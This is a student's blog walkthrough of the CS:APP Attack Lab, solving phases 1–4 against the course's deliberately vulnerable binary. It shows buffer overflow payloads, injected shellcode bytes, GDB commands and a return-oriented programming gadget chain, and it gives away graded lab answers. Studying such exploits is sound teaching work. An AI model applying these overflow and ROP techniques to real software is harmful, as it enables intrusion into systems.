CMU15-213 Attack Lab

It’s been a while since I wrote posts about CMU’s renowned system course 15-213. Last month, I was primarily devoted to my research on SmartNICs and ML for failure detection, and traveling.

Let’s begin phase by phase.

Logistics

The writeup of this lab can be found here (the CS:APP website). You can download it from this blog as well.

The target file can be downloaded from my website as well. Open that using linux tar, or you may change the permissions of the file.

target1Download

According to my experience, this lab does not work on virtual machines. Bare metal Ubuntu is preferred. I use NYU server instead.

Not working on my multi-tenant cloud server

Working on NYU bare metal Ubuntu20 server

Non-CMU student, when running the code, should add a -q flag, so that the program will not try to contact the grading service and then failed.

Phase 1: Simple Buffer Overflow Attack

Phase 1 is a very simple buffer overflow attack, and its main idea was went through during the lecture.

First use objdump -d to get the disassembled file, can be .txt or .asm. Then check the disas file.

Use Vim to search for , we find the main logic of phase 1. It calls and then returns. We want to change the return address so that when the execution returns from , it will be redirected to the function.

function has an address of 0x00 00 00 00 00 40 17 c0, and we want to jump to it.

To inject the malicious return address, we first need to know how much buffer the function has allocated. I suggest that you take GDB as your most loyal friend.

Ok, so the allocated 0x28 bytes, which in decimal is 40 bytes. So we first need to fill the 40 bytes buffer with random input, and then the address of the desired function. Remember that the function fills the stack from the smaller address to the bigger one. So it starts filling from the lower right corner to the upper left corner. However, when the program is reading the return address, it reads from the bigger address to the smaller one (reverse direction). With that being said, the injection string could look something like this:

1
2
3
4
5
6
7
8
9
10
11
12
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00
00 00 00 00

Try it, works as expected.

Phase 2: Code injection

This level is a lot more interesting, I have got to say. The biggest challenge for me is to recall the fact that stack grows downwards (from bigger virtual addresses to smaller ones), while the binary code is executed bottom up (from smaller virtual addresses to bigger ones). So remember that in phase 1 we need to reverse the order of out input so that the malicious return address is in the correct order? In this phase, now that we are directly injecting malicious code, we do not need to reverse the order of the code, since they are executed bottom up, in accordance with the order that gets the input from the user, which is also bottom up. However, we still need to reverse the order of the intended virtual addresses, since the input order is the opposite of the way return address is read by the operating system.

Forgive me for speaking too much without giving you an idea what we are doing here.

In this level, we need to redirect the return address of the program to but at the same time change the first parameter register %rdi to have value in our cookie.txt, which in our case has the value:

Sounds challenging, right?

The basic idea is that: first we need to change the return address after the procedure to somewhere on the stack (in this question, stack execution protection is disabled), that somewhere should be the place where we input our malicious code, which is the 40 bytes buffer of the function. For convenience, I will just set the return address to the bottom of the stack when the is called, namely the start of the 40 bytes buffer.

Then we need to think about what code we would like to put in the stack we were given. I propose something like this, in assembly of course:

1
2
3
mov $0x5561dc98, %rdi
pushq $0x000000004017ec
ret

The first line puts the cookie into the register that holds the parameter value for procedure . The second line push a return address to the stack, and pushq command will also automatically decrement the stack pointer by 8, so that when we execute ret command in the third line, the stack pointer will increment by 8 automatically, and pop the return address out. This 0x4017ec address points to the procedure, which can be found out here:

The last piece of this puzzle is, what should the return address of the function be changed to? We want to change it to the beginning of our malicious injected code, which we inject starting at the lowest address of the 40 byte buffer. The answer is self-evident, we need to change the return address to the lowest address of the buffer, and the code will be then executed from bottom up.

So what is this lowest address? I suggest GDB again, your most faithful friend with Linux.

The answer is here, 0x5561dc78!

One last step before putting everything together. What is the binary representation of the assembly that we are injecting? To find out, first compile this assembly, and then objdump -d the output to find out.

Putting everything together, here is what we should input

this is indeed a valid answer for level 2 of the lab.

Phase 3: Advanced Code Injection

This phase is quite formidable, I have got to admit. Let’s first check out the requirement of the question, it gives us a lot of useful hints.

The code snippet is not entirely easy to understand, because it does seem a little bit whimsical. If you were able to break down the requirement, here is what we need to do:

  1. jump to , which is at address 0x4018fa of the virtual address space

  2. pass the address of the ASCII representation of our cookie to register %rdi, which serves as a parameter when we call the procedure .

  3. Figure out a safe place within the stack to store the ASCII representation of our cookie, because some portion of the stack may be overwritten by the the code from

It is observable that we first need to figure out (3), i.e. a safe place that will not be overwritten, then figure out the code we inject to the buffer.

So what is the ASCII representation of the cookie, which for us is 0x59b997fa? How many bytes of space do we need to store the ASCII representation of it?

It seems that we need 8 bytes of space, and the ASCII code is 35 39 62 39 39 37 66 61.

So which place is safe to store these 8 bytes? In other words, which part of the stack will be overwritten when we call ? GDB will tell us.

First, try this input, then check how much of the 11111…1111 buffer space is changed by hexmatch in GDB. The return address is changed by buffer overflow to so that we can observe the behavior of .

1
2
3
4
5
6
7
8
# convert hex to raw hex
./hex2raw < p3\_test.txt > p3\_test\_raw.txt
# GDB COMMAND
gdb --args ./ctarget -q
b test
run -q < p3\_test\_raw.txt
# inspect the first 80 bytes starting at a certain address, in hex
x/20x 0x5561dc78

now that we are in , make a breakpoint before and after to see how much of the buffer has been changed.

1
2
(gdb) b \*0x040190b
(gdb) b \*0x0401916

this is the buffer layout before calling

this is the buffer layout after calling

we can see that all 40 bytes have been overwritten. So we have to buffer overflow more, and store the address of the ASCII code at someplace after. Address starting at 0x5561dca8 seems unchanged after calling , and is thus a valid candidate.

So we want to overflow more than the typical 48 bytes. We want at least 56 bytes, and the last 8 bytes are for the ASCII.

Then we need to translate the code using the same technique: write the code, gcc -c, objdump -d

You see that we store the address of the ASCII to $rdi, change the return address to and then return.

We put the code at the beginning of the buffer, so the return address of should also be changed to 0x5561dc78

Putting everything together, here is the injection code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
35 39 62 39
39 37 66 61

test it, it is indeed the answer.

Phase 4: Return-Oriented Attacks

This phase is quite easy, takes around 20 minutes to solve (the previous phase takes me hours…)

The key idea is to understand how to use return-oriented programming to inject malicious code. I think that the lab write-up did a pretty decent job, so let me just quote here.

The main difficulty then is to find the appropriate code segments and piece them together.

here is the requirement for this phase. If you are logical enough, here is the stuff that we need to do:

  1. use popq instruction to put the cookie to %rdi

  2. then jump to the procedure

As hinted by the author, here we only use popq and movq. Two gadgets are enough. Now let us take a look at the gadgets available!

We can only use the first 8 gadgets, from the <start_farm> to the <mid_farm>. Apparently, we need a popq to pop the cookie to a certain register, so we are looking for anything from 58 to 5f.

You can choose either <getval_280> or <addval_219>, which contains

1
2
58 90 c3 
// popq %rax

Note that there is no 5f in the code snippet farm, so we cannot pop directly to %rdi. We can however, later move the content from %rax to %rdi. So we are looking for 48 89 c7. <setval_426> provide the segment for that.

I choose <getval_280> and <setval_426>, the first at 0x4019cc, and the latter at 0x4019c5. The function is at address 0x4017ec. Putting everything together, we now want the stack to have the following layout, the code bottom being the top of the stack:

1
2
3
4
5
6
7
8
9
00 00 00 00
00 40 17 ec // touch2 address
00 00 00 00
00 40 19 c5 // mov from %rax to %rdi
00 00 00 00
59 b9 97 fa // my cookie
00 00 00 00
00 40 19 cc // pop to %rax
...... 40 bytes random (the original <getbuf> buffer)

in order to achieve that layout, we want out input to be

Test it out, and it is indeed the answer.

Phase5

Author

Yuncheng Yao

Posted on

2023-07-10

Updated on

2024-01-09

Licensed under